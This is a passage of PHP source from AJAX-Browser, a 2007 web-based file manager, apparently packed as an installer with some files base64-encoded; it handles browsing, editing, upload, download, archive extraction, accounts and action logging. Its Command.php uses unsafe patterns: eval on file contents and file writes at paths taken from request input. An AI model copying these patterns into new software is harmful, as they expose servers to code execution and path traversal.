LmVuY29kZShkaXIraXRlbVswXSkrJ1wnKTsiLz4nKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8lY29udGVudCUvZywgaXNfZGlyKGl0ZW1bMF0pP2l0ZW1bOV0rJyBEb3NzaWVyKHMpLCAnK2l0ZW1bMTBdKycgRmljaGllcihzKSc6KGl0ZW1bOV0/J1tYPScraXRlbVs5XSsncHgsIFk9JytpdGVtWzEwXSsncHhdJzonJykpOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVyZWFsX3NpemUlL2csIGl0ZW1bMV0pOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVzaXplJS9nLCBTaXplQ29udmVydCAoaXRlbVsxXSkpOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyV0eXBlJS9nLCBpdGVtWzJdKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8lcmVhbF9kYXRlJS9nLCBpdGVtWzNdKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8lZGF0ZSUvZywgaXRlbVszXS5zdWJzdHIgKDAsOCkpOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyV1aWRuYW1lJS9nLCBpdGVtWzVdKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8ldWlkJS9nLCBpdGVtWzZdKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8lZ2lkbmFtZSUvZywgaXRlbVs3XSk7DQoJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJWdpZCUvZywgaXRlbVs4XSk7DQoJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJWRyb2l0cyUvZywgaXRlbVs0XSk7DQoJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJWxpbmslL2csIGlzX2RpcihkaXIraXRlbVswXSk/bG9jYXRpb24uc2VhcmNoLnJlcGxhY2UocmFjaW5lNjQsIGJhc2U2NC5lbmNvZGUoZGlyK2l0ZW1bMF0pKTonP21vZGU9cmVxdWVzdCZ2aWV3PScrYmFzZTY0LmVuY29kZShkaXIraXRlbVswXSkpOw0KCXJldHVybiBJdGVtOw0KfQ0KZnVuY3Rpb24gZmluZEl0ZW02NCAocHRyKQ0Kew0KCXdoaWxlICghcHRyLmlkIHx8IHB0ci5ub2RlTmFtZSE9J0RJVicgfHwgcHRyLmNsYXNzTmFtZSE9IkRpdkdyb3VwIikNCgl7DQoJCXB0ciA9IHB0ci5wYXJlbnROb2RlOw0KCQlpZiAocHRyLm5vZGVOYW1lPT0nQk9EWScgfHwgcHRyLm9uY2xpY2spIHJldHVybiBmYWxzZTsNCgl9DQoJcmV0dXJuIHB0cjsNCn0NCmZ1bmN0aW9uIENoYW5nZUJHIChwdHIsIHN0YXR1dCkNCnsNCglpZiAoIXB0cikgcmV0dXJuIG51bGw7DQoJZWxzZSBpZiAoc3RhdHV0KQ0KCXsNCgkJcHRyLmNoaWxkTm9kZXNbMF0uc3R5bGUuYmFja2dyb3VuZENvbG9yPSJyZ2IoMjIwLDIzMCwyNTUpIjsNCgkJcHRyLmNoaWxkTm9kZXNbMV0uc3R5bGUuYmFja2dyb3VuZENvbG9yPSJyZ2IoMjM2LDI0NiwyNTUpIjsNCgl9DQoJZWxzZQ0KCXsNCgkJcHRyLmNoaWxkTm9kZXNbMF0uc3R5bGUuYmFja2dyb3VuZENvbG9yPSIiOw0KCQlwdHIuY2hpbGROb2Rlc1sxXS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9IiI7DQoJfQ0KCXJldHVybiBwdHIuY2hpbGROb2Rlc1sxXTsNCn0NCmZ1bmN0aW9uIGlubmVySUNPcyAocHRyKQ0Kew0KCXN0ciA9ICcnOw0KCVNlbGVjdExzdC5mb3JFYWNoKA0KCQlmdW5jdGlvbihlbGVtZW50LCBpbmRleCwgYXJyYXkpDQoJCXtpZiAoaW5kZXg8OSkgc3RyICs9ICc8ZGl2IGNsYXNzPSJjJysoaW5kZXgpKyciPicrSUQoZWxlbWVudCkuY2hpbGROb2Rlc1swXS5jaGlsZE5vZGVzWzBdLmNoaWxkTm9kZXNbMV0uaW5uZXJIVE1MKyc8L2Rpdj4nO30gKTsNCglyZXR1cm4gc3RyOw0KfQ0KPC9zY3JpcHQ+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLkRpdkdyb3VwIHt3aWR0aDoxMDAlO30NCi5EaXZHcm91cCBpbWcge3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOjBweDttYXJnaW46MHB4O30NCglkaXYuVGhpcyB7d2lkdGg6MTAwJTtoZWlnaHQ6MThweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KCWRpdi5UaGlzOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOnJnYigyMzAsMjUwLDIxMCk7fQ0KCQkubGVmdHtmbG9hdDpsZWZ0O30NCgkJCS5JbmRlbnRJbWcge21hcmdpbjowcHg7cGFkZGluZzowcHg7fQ0KCQkJLkljb05hbWUge21hcmdpbjowcHg7cGFkZGluZzowcHg7bWFyZ2luLWxlZnQ6LTNweDt9DQoJCQkuY3Vyc2hhbmQsIC5JY29OYW1lIGltZyB7Y3Vyc29yOnBvaW50ZXI7fQ0KCQkJLk5hbWUge21hcmdpbi1sZWZ0OjJweDtwYWRkaW5nOjBweDt9DQoJCQkNCgkJLnJpZ2h0IHtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowcHg7YmFja2dyb3VuZDp1cmwoLy5BSkFYLUIvaWNvbmVzL0NvbW1hbmRlLnBuZykgbm8tcmVwZWF0IDAgMDt9DQoJCS5yaWdodCBkaXYge2Zsb2F0OmxlZnQ7cGFkZGluZzowcHg7fQ0KCQkJZGl2LlJvd092ZXJUYWlsbGUge3dpZHRoOjYwcHg7fQ0KCQkJZGl2LlJvd092ZXJUYWlsbGU6aG92ZXIge2JhY2tncm91bmQ6dXJsKC8uQUpBWC1CL2ljb25lcy9HZXRTaXplLnBuZykgbm8tcmVwZWF0IGNlbnRlcjtjdXJzb3I6cG9pbnRlcjt9DQoJCQlkaXYuUm93VGFpbGxlIHt3aWR0aDo2MHB4O30NCgkJCWRpdi5Sb3dNSU1FIHt3aWR0aDo3MHB4O30NCgkJCWRpdi5Sb3dEYXRlIHt3aWR0aDo1M3B4O30NCgkJCWRpdi5Sb3dEcm9pdHMge3dpZHRoOjY1cHg7fQ0KCS5Db250ZW50IHtkaXNwbGF5Om5vbmU7d2lkdGg6MTAwJTt9DQoudGhpcyBpbWcsICNBbGwgZGl2IHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KLnJpZ2h0IGRpdiB7dmVydGljYWwtYWxpZ246Ym90dG9tO30NCi5jMSB7LW1vei1vcGFjaXR5OjAuODt9DQouYzIgey1tb3otb3BhY2l0eTowLjc7fQ0KLmMzIHstbW96LW9wYWNpdHk6MC42O30NCi5jNCB7LW1vei1vcGFjaXR5OjAuNTt9DQouYzUgey1tb3otb3BhY2l0eTowLjQ7fQ0KLmM2IHstbW96LW9wYWNpdHk6MC4zO30NCi5jNyB7LW1vei1vcGFjaXR5OjAuMjt9DQouYzggey1tb3otb3BhY2l0eTowLjE7fQ0KPC9zdHlsZT4=',
  './AJAX-B/scripts/CloseHTML.php' => 'CQk8L2Rpdj4KPGRpdiBpZD0iTWVudSIgY2xhc3M9Ik1vdmFibGUiPjxkaXYgaWQ9Ik1EcmFnWm9uZSIgY2xhc3M9IkRyYWdhYmxlIj48c3BhbiBjbGFzcz0idGl0cmUiPjwvc3Bhbj48L2Rpdj48ZGl2IGlkPSJNQm94Q29udGVudCI+PD9waHAgaWYgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2Ryb2l0cyddWydORVcnXSkgez8+PGRpdiBvbmNsaWNrPSJfbmV3KCk7SUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvTmV3LnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1sxNV07Pz48L3NwYW4+PC9kaXY+PD9waHAgfT8+CgkJPD9waHAgaWYgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2Ryb2l0cyddWydNT1ZFJ10pIHs/PjxkaXYgb25jbGljaz0iX2N1dCgpO0lEKCdNZW51Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsiPjxJTUcgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL0N1dC5wbmciLz48c3Bhbj48P3BocCBlY2hvICRBQlNbMTZdOz8+PC9zcGFuPjxzcGFuIGNsYXNzPSJzaG9ydGtleSI+Q3RybCtYPC9zcGFuPjwvZGl2Pjw/cGhwIH0/PgoJCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnQ09QWSddKSB7Pz48ZGl2IG9uY2xpY2s9Il9jb3B5KCk7SUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvQ29weS5wbmciLz48c3Bhbj48P3BocCBlY2hvICRBQlNbMTddOz8+PC9zcGFuPjxzcGFuIGNsYXNzPSJzaG9ydGtleSI+Q3RybCtDPC9zcGFuPjwvZGl2Pjw/cGhwIH0/PgoJCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnTU9WRSddIHx8ICRfU0VTU0lPTlsnQUpBWC1CJ11bJ2Ryb2l0cyddWydDT1BZJ10pIHs/PjxkaXYgb25jbGljaz0iX3Bhc3RlKCk7SUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvUGFzdGUucG5nIi8+PHNwYW4+PD9waHAgZWNobyAkQUJTWzE4XTs/Pjwvc3Bhbj48c3BhbiBjbGFzcz0ic2hvcnRrZXkiPkN0cmwrVjwvc3Bhbj48L2Rpdj48P3BocCB9Pz4KCQk8P3BocCBpZiAoJF9TRVNTSU9OWydBSkFYLUInXVsnZHJvaXRzJ11bJ1JFTiddKSB7Pz48ZGl2IG9uY2xpY2s9Il9yZW5hbWUoKTtJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Ij48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy9SZW4ucG5nIi8+PHNwYW4+PD9waHAgZWNobyAkQUJTWzE5XTs/Pjwvc3Bhbj48c3BhbiBjbGFzcz0ic2hvcnRrZXkiPkYyPC9zcGFuPjwvZGl2Pjw/cGhwIH0/PgoJCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnUkVOJ10pIHs/PjxkaXYgb25jbGljaz0iSUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO19tdWx0aVJlbmFtZSgpOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvUmVuLnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1syMF07Pz48L3NwYW4+PHNwYW4gY2xhc3M9InNob3J0a2V5Ij5TaGlmdCtGMjwvc3Bhbj48L2Rpdj48P3BocCB9Pz4KCQk8P3BocCBpZiAoJF9TRVNTSU9OWydBSkFYLUInXVsnZHJvaXRzJ11bJ0RFTCddKSB7Pz48ZGl2IG9uY2xpY2s9Il9yZW1vdmUoKTtJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Ij48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy9TdXAucG5nIi8+PHNwYW4+PD9waHAgZWNobyAkQUJTWzIxXTs/Pjwvc3Bhbj48c3BhbiBjbGFzcz0ic2hvcnRrZXkiPlN1cHByPC9zcGFuPjwvZGl2Pjw/cGhwIH0/PgoJCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnRE9XTkxPQUQnXSkgez8+PGRpdiBvbm1vdXNlb3Zlcj0iSUQoJ016aXBwZXInKS5zdHlsZS52aXNpYmlsaXR5PSd2aXNpYmxlJzsiIG9ubW91c2VvdXQ9IklEKCdNemlwcGVyJykuc3R5bGUudmlzaWJpbGl0eT0naGlkZGVuJzsiPjxJTUcgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL0Rvd25sb2FkLnBuZyIgdGl0bGU9IkZvcmNlciBsZSBUZWxlY2hhcmdlbWVudCIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1syMl07Pz48L3NwYW4+PHNwYW4gY2xhc3M9InN1Yk1lbnUiPsK7CgkJCTx1bCBpZD0iTXppcHBlciI+CgkJCQk8ZGl2IG9uY2xpY2s9Il9kb3dubG9hZCgnbm8nKTtJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Ij48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLXVua25vd24ucG5nIi8+PD9waHAgZWNobyAkQUJTWzIzXTs/PjwvZGl2PgoJCQkJPD9waHAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnemlwX29wZW4nKSkgez8+CgkJCQkJPGRpdiBvbm1vdXNldXA9IklEKCdNZW51Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJztfZG93bmxvYWQoJ3ppcCcpOyIgY2xhc3M9J2FjdGlvbicgdGl0bGU9Ijw/cGhwIGVjaG8gJEFCU1syMDVdOz8+Ki5aSVAiPjxJTUcgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL3R5cGUtemlwLnBuZyIvPlpJUDwvZGl2Pjw/cGhwIH0/PgoJCQkJCTxkaXYgb25tb3VzZXVwPSJJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7X2Rvd25sb2FkKCd0YXInKTsiIGNsYXNzPSdhY3Rpb24nIHRpdGxlPSI8P3BocCBlY2hvICRBQlNbMjA1XTs/PiouVEFSIj48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLXRhci5wbmciLz5UQVI8L2Rpdj4KCQkJCTw/cGhwIGlmIChmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpIHs/PgoJCQkJCTxkaXYgb25tb3VzZXVwPSJJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7X2Rvd25sb2FkKCd0YXIuZ3ppcCcpOyIgY2xhc3M9J2FjdGlvbicgdGl0bGU9Ijw/cGhwIGVjaG8gJEFCU1syMDVdOz8+Ki5HWklQIj48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLWd6aXAucG5nIi8+VEFSLkdaSVA8L2Rpdj4KCQkJCTw/cGhwIH0gaWYgKGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKSB7Pz4KCQkJCQk8ZGl2IG9ubW91c2V1cD0iSUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO19kb3dubG9hZCgndGFyLmJ6aXAyJyk7IiBjbGFzcz0nYWN0aW9uJyB0aXRsZT0iPD9waHAgZWNobyAkQUJTWzIwNV07Pz4qLkJaSVAyIj48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLWJ6aXAyLnBuZyIvPlRBUi5CWklQMjwvZGl2PgoJCQkJPD9waHAgfT8+CgkJCTwvdWw+PC9zcGFuPgoJCTwvZGl2Pjw/cGhwIH0/PgoJCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnVVBMT0FEJ10hPSdOTycpIHs/PjxkaXYgb25jbGljaz0iX3VwbG9hZCgpO0lEKCdNZW51Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsiPjxJTUcgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL1VwbG9hZC5wbmciLz48c3Bhbj48P3BocCBlY2hvICRBQlNbMjRdOz8+PC9zcGFuPjwvZGl2Pjw/cGhwIH0/PgoJCTxkaXYgb25jbGljaz0iX2VudGVyKCk7SUQoJ01lbnUnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvRWRpdC5wbmciLz48c3Bhbj48P3BocCBlY2hvICRBQlNbMjVdOz8+PC9zcGFuPjxzcGFuIGNsYXNzPSJzaG9ydGtleSI+RW50ZXI8L3NwYW4+PC9kaXY+CgkJPD9waHAgaWYgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2Ryb2l0cyddWydVTkNPTVBSRVNTJ10pIHs/PjxkaXYgb25jbGljaz0iX3VuY29tcHJlc3MoKTtJRCgnTWVudScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Ij48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy9VbmNvbXByZXNzLnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1szNl07Pz48L3NwYW4+PC9kaXY+PD9waHAgfT8+CgkJPGRpdiBvbmNsaWNrPSJfcHJvcGVydGllcygpO0lEKCdNZW51Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsiPjxJTUcgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL0luZm9zLnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1syNl07Pz48L3NwYW4+PC9kaXY+Cgk8L2Rpdj4KPC9kaXY+CjxkaXYgaWQ9IkNwTXZTbGlkZSI+PC9kaXY+CjxkaXYgaWQ9IlNsaWRlTGV0Ij4KCTw/cGhwIGlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydkcm9pdHMnXVsnTU9WRSddKSB7Pz48ZGl2IG9uY2xpY2s9Il9jdXRfcGFzdGUoKTtJRCgnU2xpZGVMZXQnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOyI+PElNRyBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvQ3V0LnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1syN107Pz48L3NwYW4+PC9kaXY+PD9waHAgfT8+Cgk8P3BocCBpZiAoJF9TRVNTSU9OWydBSkFYLUInXVsnZHJvaXRzJ11bJ0NPUFknXSkgez8+PGRpdiBvbmNsaWNrPSJfY29weV9wYXN0ZSgpO0lEKCdTbGlkZUxldCcpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Ij48SU1HIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy9Db3B5LnBuZyIvPjxzcGFuPjw/cGhwIGVjaG8gJEFCU1syOF07Pz48L3NwYW4+PC9kaXY+PD9waHAgfT8+CjwvZGl2Pgo8IS0tIDxkaXYgaWQ9IlNlbCI+PC9kaXY+IC0tPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuT25lIiBpZD0icmVuT25lIi8+Cjxmb3JtIE1FVEhPRD0nZ2V0JyBuYW1lPSJtYXRjaGZvcm0iIGFjdGlvbj0iIiBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48ZGl2IGlkPSJCb3giIGNsYXNzPSJNb3ZhYmxlIj48ZGl2IGlkPSJEcmFnWm9uZSIgY2xhc3M9IkRyYWdhYmxlIj48c3BhbiBjbGFzcz0idGl0cmUiPjwvc3Bhbj48SU1HIGNsYXNzPSJjbG9zZSIgb25jbGljaz0iSUQoJ0JveCcpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7IiBzcmM9Jzw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvQ2xvc2VYLnBuZycgLz48L2Rpdj48ZGl2IGlkPSJCb3hDb250ZW50Ij48P3BocCBlY2hvICRBQlNbMjldOz8+PC9kaXY+PC9kaXY+PC9mb3JtPgoJPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmlmIChpc3NldCgkZGIpKQp7CgllY2hvICI8IS0tXG5FcnJvcnMgcmVzdW1lIDpcbiIuJEVycnJvck1zZy4iXG4tLT4iOwoJZmlsZV9wdXRfY29udGVudHMoJy4vRGVidWcudHh0JywgIjwhLS1cbkVycm9ycyByZXN1bWUgOlxuIi4kRXJycm9yTXNnLiJcbi0tPiIsRklMRV9BUFBFTkQpOwp9Cj8+',
  './AJAX-B/scripts/Command.php' => '<?php
/**-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

$GLOBALS['AJAX-Var']['global'] = eval('return '.file_get_contents($file_globalconf).';');
$GLOBALS['AJAX-Var']['accounts'] = eval('return '.file_get_contents($file_accounts).';');
$GLOBALS['AJAX-Var']['blacklist'] = eval('return '.file_get_contents($file_blacklist).';');
if(isset($sublstof))
{
	$LstDir=array();
	$folder = is_dir($sublstof) ? $sublstof : decode64($sublstof);
	$dirLst = DirSort ($folder, 'dir');
	if ($dirLst)
	{
		foreach ($dirLst as $dir)
			if ($_SESSION['AJAX-B']['droits']['.VIEW'] || !ereg ('^\.',UTF8basename($dir)))
				array_push ($LstDir, implode("\t",InfosByURL ($folder.$dir, !isset($light), true)));
	}

	$LstFile=array();
// ?mode=request&sublstof=Li9BSkFYLUIvc2NyaXB0cy8_&match=*.php
	$fileLst = DirSort ($folder, isset($match) ? explode(',',$match) : 'file');
	if ($fileLst)
	{
		foreach ($fileLst as $file)
			if ($_SESSION['AJAX-B']['droits']['.VIEW'] || !ereg ('^\.',UTF8basename($file)))
				array_push ($LstFile, implode("\t",InfosByURL ($folder.$file, !isset($light), true)));
	}
	if ($_SESSION['AJAX-B']['spy']['browse'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/browse.spy', $_SESSION['AJAX-B']['login'].'['.date ("d/m/y H:i:s",time()).'] >  '.$folder.' ('.$mode.")\n", FILE_APPEND);

	echo encode64(UnRealPath($folder)).implode("\n", array_merge(array(''),$LstDir, $LstFile));
}
elseif(isset($miniof))
{
	if (is_file($file = decode64($miniof)))
		echo CreatMini($file,$_SESSION['AJAX-B']['mini_dir'], $_SESSION['AJAX-B']['mini_size']);
	exit();
}
elseif(isset($session))
{
	echo '<pre>';
	var_export($_SESSION['AJAX-B']);
	echo '</pre>';
	exit();
}
elseif(isset($erasemini))
{
	$miniLst = DirSort ($folder=$_SESSION['AJAX-B']['mini_dir'], array('*@*.png'), $folder);
	$count = 0;
	foreach ($miniLst as $mini)
	{
		if (fileatime($mini) < (time() - (7 * 24 * 60 * 60)))
		{// si les miniatures n'ont pas étais vu depuis 1 semaine
			unlink($mini);
			$count++;
		}
	}
		echo 'OK => '.$count.' are erase.';
	exit();
}
elseif(isset($view))
{
	$file = file_exists($view) ? $view : decode64($view);
	if (is_file($file))
	{
		if (@getimagesize($file))
		{
			header('Content-Type: image/png');
			if ($_SESSION['AJAX-B']['droits']['DOWNLOAD'])
			{
				header('Content-Disposition: inline;filename="'.UTF8basename($file)."\"\n");
				readfile($file);
			}
			else
			{
				$wm =  is_file(INSTAL_DIR.'icones/Watermark-'.$_SESSION['AJAX-B']['login'].'.png') ?  INSTAL_DIR.'icones/Watermark-'.$_SESSION['AJAX-B']['login'].'.png' : INSTAL_DIR.'icones/Watermark.png';
				$file = AddWatermark($file, $_SESSION['AJAX-B']['mini_dir'], $wm);
				header('Content-Disposition: inline;filename="'.$file."\"\n");
				readfile($file);
			}
		}
		elseif (ArrayMatch ($_SESSION['AJAX-B']['codepress_mask'], strtolower(UTF8basename($file))) && ($_SESSION['AJAX-B']['droits']['CP_VIEW'] || $_SESSION['AJAX-B']['droits']['CP_EDIT']))
			include (INSTAL_DIR.'scripts/EditArea.php');
		else
		{
			header('Location:'.$file);
		}
		if ($_SESSION['AJAX-B']['spy']['action'])
			file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/view.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time()).'] > '.$file."\n", FILE_APPEND);
	}
	exit();
}
elseif (isset($cpsave) && $_SESSION['AJAX-B']['droits']['CP_EDIT'])
{
	if (FileTypeApprover(decode64($cpsave)))
	{
		rename(decode64($cpsave), decode64($cpsave).'~');
		file_put_contents(decode64($cpsave), decode64($data64));
		echo date ("d/m/y H:i:s",time());
		if ($_SESSION['AJAX-B']['spy']['action'])
			file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/CPedit.spy', $_SESSION['AJAX-B']['login'].'['.date ("d/m/y H:i:s",time()).'] >  '.decode64($cpsave)."\n", FILE_APPEND);
	}
	exit();
}
elseif (isset($upload))
{
	include (INSTAL_DIR.'scripts/ManageUpload.php');
}
elseif (isset($uncompress) && $_SESSION['AJAX-B']['droits']['UNCOMPRESS'])
{
	include (INSTAL_DIR.'scripts/EasyArchive.class.php');
	$archive = new archive;
	$files = array_map('decode64', explode(',', $uncompress));
	$returnLst = array();
	foreach ($files as $file)
		if (is_file($file))
		{
			$archive->extract($file);
			if (!in_array(encode64(UTF8dirname($file).'/'), $returnLst))
				$returnLst[] = encode64(UTF8dirname($file).'/');
		}
	echo implode(',', $returnLst);
}
elseif (isset($download) && $_SESSION['AJAX-B']['droits']['DOWNLOAD'])
{
	if ($type=="no" && is_file($file=decode64($download)))
	{
		header('Content-Type: application/force-download');
		header("Content-Transfer-Encoding: binary");
		header("Cache-Control: no-cache, must-revalidate, max-age=60");
		header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
		header('Content-Disposition: attachment;filename="'.UTF8basename($file)."\"\n"); // force le telechargement
		readfile($file);
	}
	else
	{
		include (INSTAL_DIR.'scripts/EasyArchive.class.php');
		$archive = new archive;
		$archive->download($file = array_map('decode64', explode(',', $download)), 'Ajax-Browser.'.$type);
		$file = 'Ajax-Browser.'.$type."\n\t".implode("\n\t",$file);
	}
	if ($_SESSION['AJAX-B']['spy']['action'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/donwload.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time())."] > ".$file."\n", FILE_APPEND);
	exit();
}
elseif (isset($usrconf))
{
	include (INSTAL_DIR.'scripts/Accounts.php');
	if ($usrconf=='save')
		saveAccount($_SESSION['AJAX-B']['login']);
	else
		editAccount($_SESSION['AJAX-B']['login'],'&usrconf=save', 'ID(\\\'Box\\\').style.display=\\\'none\\\';');
}
elseif (isset($accounts) && $_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'])
{
	include (INSTAL_DIR.'scripts/Accounts.php');
	if ($accounts=='adduser' && !empty($user))
	{
		$GLOBALS['AJAX-Var']['accounts']=addUser($account_exemple, $GLOBALS['AJAX-Var']['accounts'], $user);
		file_put_contents($file_accounts, var_export($GLOBALS['AJAX-Var']['accounts'], true));
	}
	elseif ($accounts=='removeuser' && isset($GLOBALS['AJAX-Var']['accounts'][$user]))
	{
		unset ($GLOBALS['AJAX-Var']['accounts'][$user]);
		file_put_contents($file_accounts, var_export($GLOBALS['AJAX-Var']['accounts'], true));
	}
	elseif ($accounts=='edituser' && isset($GLOBALS['AJAX-Var']['accounts'][$user]))
		editAccount($user, '&accounts=saveuser&user='.$user, 'PopBox(\\\'mode=request&accounts=\\\',\\\'OpenBox(request.responseText);\\\');');
	elseif ($accounts=='saveuser' && isset($GLOBALS['AJAX-Var']['accounts'][$user]))
		saveAccount($user);
	else
	{
		if (!empty($UnBlackListed))
		{
			unset($GLOBALS['AJAX-Var']['blacklist'][$UnBlackListed]);
			file_put_contents($file_accounts, var_export($GLOBALS['AJAX-Var']['accounts'], true));
		}
		LstAccount();
	}
}
elseif (isset($setting) && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
{
	include (INSTAL_DIR.'scripts/Setting.php');
	if ($setting=='save')
		saveSetting ();
	else
		editSetting ();
}
elseif (isset($apropos))
	include (INSTAL_DIR.'scripts/APropos.php');
elseif (isset($contact))
	include (INSTAL_DIR.'scripts/Contact.php');
elseif (isset($newitem) && $_SESSION['AJAX-B']['droits']['NEW'])
{
	if (substr($new=decode64($newitem), -1, 1)=='/') mkdir($new, 0777, true);
	elseif (!is_file($new) && FileTypeApprover($new) ) file_put_contents ($new, '');
	if ($_SESSION['AJAX-B']['spy']['action'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/new.spy', $_SESSION['AJAX-B']['login'].' ['.date ('d/m/y H:i:s',time()).'] > '.$new."\n", FILE_APPEND);
}
elseif (isset($noitems))
{
	$_SESSION['AJAX-B']['paste_mode'] = '';
	$_SESSION['AJAX-B']['SelectLst'] = array();
}
elseif (isset($copyitems))
{
	$_SESSION['AJAX-B']['paste_mode'] = 'copy';
	$_SESSION['AJAX-B']['SelectLst'] = explode(",", $copyitems);
	if (isset($dest))
		echo pasteItems($dest);
}
elseif (isset($moveitems))
{
	$_SESSION['AJAX-B']['paste_mode'] = 'move';
